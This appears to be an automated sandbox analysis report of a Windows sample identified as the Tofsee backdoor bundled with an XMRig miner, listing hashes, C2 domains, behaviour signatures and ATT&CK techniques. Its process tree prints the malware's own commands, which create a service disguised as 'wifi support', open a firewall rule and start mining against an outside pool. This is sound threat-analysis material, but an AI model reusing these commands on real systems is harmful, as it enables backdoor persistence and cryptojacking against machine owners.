Analysis

  • max time kernel
    172s
  • max time network
    224s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2022 17:05

General

  • Target

    3c38e00f572800dfdcf676a141e4b98903977368f8870cd29221b3320b640ed4.exe

  • Size

    292KB

  • MD5

    73dce3e7861a21a660c098f08fcd09fa

  • SHA1

    2a555fece19e500f8c65e2b1e26fb6dbcd44981d

  • SHA256

    3c38e00f572800dfdcf676a141e4b98903977368f8870cd29221b3320b640ed4

  • SHA512

    9ffe934411c0f91a1e92884bfd455e6d0f1188ec5fb7368b134084008462a664ea438396d0161940ea6345e5952ae74dd9408c6f472eef46102890d50eb0fb50

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3c38e00f572800dfdcf676a141e4b98903977368f8870cd29221b3320b640ed4.exe
    "C:\Users\Admin\AppData\Local\Temp\3c38e00f572800dfdcf676a141e4b98903977368f8870cd29221b3320b640ed4.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5016
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jsspvgpe\
      2⤵
        PID:4748
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mywezwta.exe" C:\Windows\SysWOW64\jsspvgpe\
        2⤵
          PID:3348
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jsspvgpe binPath= "C:\Windows\SysWOW64\jsspvgpe\mywezwta.exe /d\"C:\Users\Admin\AppData\Local\Temp\3c38e00f572800dfdcf676a141e4b98903977368f8870cd29221b3320b640ed4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4000
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jsspvgpe "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4628
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jsspvgpe
          2⤵
          • Launches sc.exe
          PID:4788
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1668
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 1260
          2⤵
          • Program crash
          PID:3856
      • C:\Windows\SysWOW64\jsspvgpe\mywezwta.exe
        C:\Windows\SysWOW64\jsspvgpe\mywezwta.exe /d"C:\Users\Admin\AppData\Local\Temp\3c38e00f572800dfdcf676a141e4b98903977368f8870cd29221b3320b640ed4.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4072
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2032
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4072 -s 524
          2⤵
          • Program crash
          PID:3084
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5016 -ip 5016
        1⤵
          PID:4228
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4072 -ip 4072
          1⤵
            PID:2004

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\mywezwta.exe
            Filesize

            10.7MB

            MD5

            eefa2d4d6f90f8cbd99c5ac8220f8328

            SHA1

            e2d957f96f1fd073a1a154ede5fe08c7ce4ab6e1

            SHA256

            19ebe8cc55a8133e3f8bd22d54fb57c84e8e5f15ef53f346c744e8d783f11b43

            SHA512

            d9fd43298d5160e6705d1287d20a103f0ffa145a9aa1647412bf914da506a92b25900a74dda28f16c78c410dff2c20c1b07b5a08798cf6adcee0f4c434deb708

          • C:\Windows\SysWOW64\jsspvgpe\mywezwta.exe
            Filesize

            10.7MB

            MD5

            eefa2d4d6f90f8cbd99c5ac8220f8328

            SHA1

            e2d957f96f1fd073a1a154ede5fe08c7ce4ab6e1

            SHA256

            19ebe8cc55a8133e3f8bd22d54fb57c84e8e5f15ef53f346c744e8d783f11b43

            SHA512

            d9fd43298d5160e6705d1287d20a103f0ffa145a9aa1647412bf914da506a92b25900a74dda28f16c78c410dff2c20c1b07b5a08798cf6adcee0f4c434deb708

          • memory/1668-142-0x0000000000000000-mapping.dmp
          • memory/1836-177-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1836-172-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1836-171-0x0000000000000000-mapping.dmp
          • memory/2032-153-0x0000000003200000-0x000000000340F000-memory.dmp
            Filesize

            2.1MB

          • memory/2032-151-0x0000000000F20000-0x0000000000F35000-memory.dmp
            Filesize

            84KB

          • memory/2032-168-0x00000000025E0000-0x00000000025E7000-memory.dmp
            Filesize

            28KB

          • memory/2032-165-0x0000000008100000-0x000000000850B000-memory.dmp
            Filesize

            4.0MB

          • memory/2032-162-0x00000000025D0000-0x00000000025D5000-memory.dmp
            Filesize

            20KB

          • memory/2032-156-0x0000000002590000-0x0000000002596000-memory.dmp
            Filesize

            24KB

          • memory/2032-159-0x00000000025A0000-0x00000000025B0000-memory.dmp
            Filesize

            64KB

          • memory/2032-152-0x0000000000F20000-0x0000000000F35000-memory.dmp
            Filesize

            84KB

          • memory/2032-145-0x0000000000000000-mapping.dmp
          • memory/2032-146-0x0000000000F20000-0x0000000000F35000-memory.dmp
            Filesize

            84KB

          • memory/3348-136-0x0000000000000000-mapping.dmp
          • memory/4000-138-0x0000000000000000-mapping.dmp
          • memory/4072-149-0x00000000004D9000-0x00000000004EA000-memory.dmp
            Filesize

            68KB

          • memory/4072-150-0x0000000000400000-0x0000000000454000-memory.dmp
            Filesize

            336KB

          • memory/4628-139-0x0000000000000000-mapping.dmp
          • memory/4748-135-0x0000000000000000-mapping.dmp
          • memory/4788-140-0x0000000000000000-mapping.dmp
          • memory/5016-144-0x0000000000400000-0x0000000000454000-memory.dmp
            Filesize

            336KB

          • memory/5016-130-0x000000000053D000-0x000000000054D000-memory.dmp
            Filesize

            64KB

          • memory/5016-143-0x000000000053D000-0x000000000054D000-memory.dmp
            Filesize

            64KB

          • memory/5016-134-0x0000000002190000-0x00000000021A3000-memory.dmp
            Filesize

            76KB

          • memory/5016-133-0x000000000053D000-0x000000000054D000-memory.dmp
            Filesize

            64KB

          • memory/5016-132-0x0000000000400000-0x0000000000454000-memory.dmp
            Filesize

            336KB

          • memory/5016-131-0x0000000002190000-0x00000000021A3000-memory.dmp
            Filesize

            76KB